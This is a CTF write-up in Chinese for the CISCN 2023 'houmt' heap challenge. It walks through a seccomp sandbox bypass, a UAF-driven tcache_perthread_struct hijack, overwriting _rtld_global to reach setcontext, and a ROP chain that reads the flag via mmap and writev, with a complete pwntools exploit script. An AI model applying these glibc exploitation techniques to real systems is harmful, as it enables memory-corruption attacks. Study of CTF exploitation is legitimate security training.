ciscn2023 houmt

塞宁的天虞实验室出了pwn的wp,速速复现!!!

overview

一眼丁真,菜单堆,还开了沙箱,add函数申请到libc地址不可写,delete函数有uaf,edit函数只有一次机会,show函数有加密,两次机会。


seccomp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x04 0xc000003e if (A != ARCH_X86_64) goto 0006
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0005
0004: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0005: 0x35 0x00 0x01 0x00000028 if (A < 0x28) goto 0007
0006: 0x06 0x00 0x00 0x00000000 return KILL
0007: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0009
0008: 0x06 0x00 0x00 0x00000000 return KILL
0009: 0x15 0x00 0x01 0x00000011 if (A != pread64) goto 0011
0010: 0x06 0x00 0x00 0x00000000 return KILL
0011: 0x15 0x00 0x01 0x00000013 if (A != readv) goto 0013
0012: 0x06 0x00 0x00 0x00000000 return KILL
0013: 0x15 0x00 0x05 0x00000000 if (A != read) goto 0019
0014: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count)
0015: 0x15 0x00 0x08 0x00000000 if (A != 0x0) goto 0024
0016: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0017: 0x15 0x00 0x06 0x00000000 if (A != 0x0) goto 0024
0018: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0019: 0x15 0x00 0x03 0x00000001 if (A != write) goto 0023
0020: 0x20 0x00 0x00 0x00000020 A = count # write(fd, buf, count)
0021: 0x15 0x00 0x02 0x00000001 if (A != 0x1) goto 0024
0022: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0023: 0x15 0x00 0x01 0x00000012 if (A != pwrite64) goto 0025
0024: 0x06 0x00 0x00 0x00000000 return KILL
0025: 0x06 0x00 0x00 0x7fff0000 return ALLOW

限制了read的fd为0,同时也禁用了close,所以不弄通过close+open,来使flag文件的fd为0。但是我们可以通过mmap将flag的内容通过flag的fd映射到开辟的一块连续地址,同时,我们也注意到wirte的count限制为1,这很不方便,所以我们通过writev输出flag


show

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
unsigned __int64 sub_1AC6()
{
int buf; // [rsp+Ch] [rbp-14h] BYREF
int i; // [rsp+10h] [rbp-10h]
int v3; // [rsp+14h] [rbp-Ch]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
if ( show_cnt )
{
--show_cnt;
sub_1289("Please input the index : ", 0LL);
v3 = sub_1774();
if ( v3 >= 0 && v3 <= dword_4018 && list[v3] )
{
for ( i = 0; i <= 6; ++i )
{
buf = (char)(*((_BYTE *)list[v3] + i + 1) ^ *((_BYTE *)list[v3] + i) ^ *((_BYTE *)list[v3] + add_cnt - 0x11 - i));
write(1, &buf, 1uLL);
}
}
else
{
sub_1289("Wrong index.", 1LL);
}
}
else
{
sub_1289("You have no chance.", 1LL);
}
return __readfsqword(0x28u) ^ v4;
}

我们发现将输出的内容的第k个字节与k + 1的字节异或输出,所以我们可以将输出结果逆序按照此加密进行解密即可还原内容。


_dl_addr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;

/* In case this libc copy is in a non-default namespace, we always
need to accept foreign vtables because there is always a
possibility that FILE * objects are passed across the linking
boundary. */
{
Dl_info di;
struct link_map *l;
if (!rtld_active ()
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}

当vtable_check失败后就会进入_dl_addr函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0x7ffff7f2c060 <_dl_addr>:	endbr64 
0x7ffff7f2c064 <_dl_addr+4>: push r15
0x7ffff7f2c066 <_dl_addr+6>: push r14
0x7ffff7f2c068 <_dl_addr+8>: xor r14d,r14d
0x7ffff7f2c06b <_dl_addr+11>: push r13
0x7ffff7f2c06d <_dl_addr+13>: push r12
0x7ffff7f2c06f <_dl_addr+15>: mov r12,rdx
0x7ffff7f2c072 <_dl_addr+18>: push rbp
0x7ffff7f2c073 <_dl_addr+19>: mov rbp,rsi
0x7ffff7f2c076 <_dl_addr+22>: push rbx
0x7ffff7f2c077 <_dl_addr+23>: mov rbx,rdi
0x7ffff7f2c07a <_dl_addr+26>: sub rsp,0x28
0x7ffff7f2c07e <_dl_addr+30>: mov r13,QWORD PTR [rip+0x88d33] # 0x7ffff7fb4db8
0x7ffff7f2c085 <_dl_addr+37>: mov QWORD PTR [rsp+0x8],rcx
0x7ffff7f2c08a <_dl_addr+42>: lea rdi,[r13+0x988]
0x7ffff7f2c091 <_dl_addr+49>: call QWORD PTR [r13+0xf90]

0x7ffff7fb4db8存放rtld_global地址,libc2.33中rtld_global可写,因此可以覆盖[_rtld_global +0xf90]为magic_gadget,以此来控制rdx,并且调用setcontext + 61,然后打rop


完整思路

1.add八个堆块,delete一个堆块,得到heap_base

2.再delete剩下七个,得到libc_base

3.劫持tcache_perthread_struct, 获得多次任意写机会:

​ (1).先申请到tcache_perthread_struct存放0x110堆块的地址偏移0x10,伪造0x110堆块,为多次任意写作好先决条件,并且将存放0x110堆块的地址覆盖为自己

​ (2). 再通过多次的add和delete,即可完成多次任意写机会

4.通过任意写在_rtld_global处布置好gadget

5.当从tcache申请出chunk的时候,会把chunk的key字段(bk)清空,通过这个方法将_IO_2_1_stderr_._IO_file_jumps清空,使_IO_vtable_check无法通过检查

6.通过任意写修改top_chunk的size,使此size非法,再申请即可触发__malloc_assert,触发stderr的IO流–>_dl_addr()–>magic_gadget–>setcontext->rop


exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
from pwn import *
context.update(os='linux',arch='amd64',log_level='debug')
binary='./houmt'
elf=ELF(binary)
libc=ELF('./libc.so.6')
ld=ELF("./ld.so")
debug=1
if debug:
libc=elf.libc
p=process(binary)
else:
host=''
port=''
p=remote(host,port)

menu = "choice > "

def add(data):
p.sendlineafter(menu, b'1')
p.sendafter("Please input the content : ", data)

def edit(idx, data):
p.sendlineafter(menu, b'2')
p.sendafter("Please input the index : ", str(idx))
p.sendafter("Please input the content : ", data)

def delete(idx):
p.sendlineafter(menu, b'3')
p.sendlineafter("Please input the index : ", str(idx))

def show(idx):
p.sendlineafter(menu, '4')
p.sendlineafter("Please input the index : ", str(idx))

def debug():
gdb.attach(p)
pause()

def pwn():
for i in range(8):
add('a')# 0~7

delete(0)
show(0)

leak = []

for i in range(5):
leak.append(u8(p.recvn(1)))

for i in range(3, -1, -1):
leak[i] = leak[i] ^ leak[i + 1]

t = b''

for i in range(5):
t = t + p8(leak[i])

key = u64(t.ljust(8, b'\x00'))
log.info("key-->" + hex(key))

heap_base = key << 12
log.info("heap_base-->" + hex(heap_base))

for i in range(1, 6):
delete(i)

delete(7)
delete(6)
show(6)
# debug()
leak.clear()

for i in range(6):
leak.append(u8(p.recvn(1)))

for i in range(4, -1, -1):
leak[i] = leak[i] ^ leak[i + 1]

t = b''

for i in range(6):
t = t + p8(leak[i])

libc_base = u64(t.ljust(8, b'\x00')) - 0x1e0c00
ld_base = libc_base + 0x1ee000
__free_hook = libc_base + libc.sym["__free_hook"]
setcontext = libc_base + libc.sym["setcontext"] + 61
# mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
magic = libc_base + 0x14a0a0
log.info("libc_base-->" + hex(libc_base))

edit(7, p64(key ^ heap_base + 0xf0))
add('8')# 8
pay = p64(0) + p64(0x111) + p64(0) + p64(heap_base + 0x100)
add(pay)# 9

pay = p64(0) + p64(ld_base + ld.sym["_rtld_global"] + 0xf90)
add(pay)# 10

add(p64(magic))# 11

frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = __free_hook
frame.rdx = 0x100
frame.rsp = __free_hook
frame.rip = libc_base + libc.sym["read"]

delete(10)
pay = p64(0) + p64(ld_base + ld.sym["_rtld_global"] + 0x980)
add(pay)# 12
pay = p64(0)*2 + p64(ld_base + ld.sym["_rtld_global"] + 0x988)
pay += p64(0)*2 + p64(setcontext) + bytes(frame)[0x28:]
add(pay)# 13

delete(10)
pay = p64(0) + p64(libc_base + libc.sym["_IO_2_1_stderr_"] + 0xd0)
add(pay)# 14
p.sendlineafter(menu, b'1')# clear _IO_2_1_stderr_._IO_file_jumps

delete(10)
pay = p64(0) + p64(heap_base + 0xb10)
add(pay)# 15
add(p64(0) + p64(0x88))# 16
add('a')# 17
gdb.attach(p, "b *_dl_addr")
p.sendlineafter(menu, b'1')# 18
pause()

pop_rax_ret = libc_base + 0x0000000000044c70
pop_rdi_ret = libc_base + 0x0000000000028a55
pop_rsi_ret = libc_base + 0x000000000002a4cf
pop_rdx_ret = libc_base + 0x00000000000c7f32
pop_rcx_rbx_ret = libc_base + 0x00000000000fc104
pop_r8_ret = libc_base + 0x0000000000148686
syscall_ret = libc_base + 0x000000000006105a

rop = flat(
pop_rdi_ret, __free_hook + 0xd0,
pop_rsi_ret, 0,
pop_rax_ret, 2,
syscall_ret,

pop_rdi_ret, 0x80000,
pop_rsi_ret, 0x1000,
pop_rdx_ret, 1,
pop_rcx_rbx_ret, 1, 0,
pop_r8_ret, 3,
libc_base + libc.sym["mmap"],

pop_rdi_ret, 1,
pop_rsi_ret, __free_hook + 0xd8,
pop_rdx_ret, 1,
libc_base + libc.sym["writev"],
b"./flag\x00\x00", 0x80000, 0x50
)

sleep(0.1)
p.send(rop)
pause()

p.interactive()
pwn()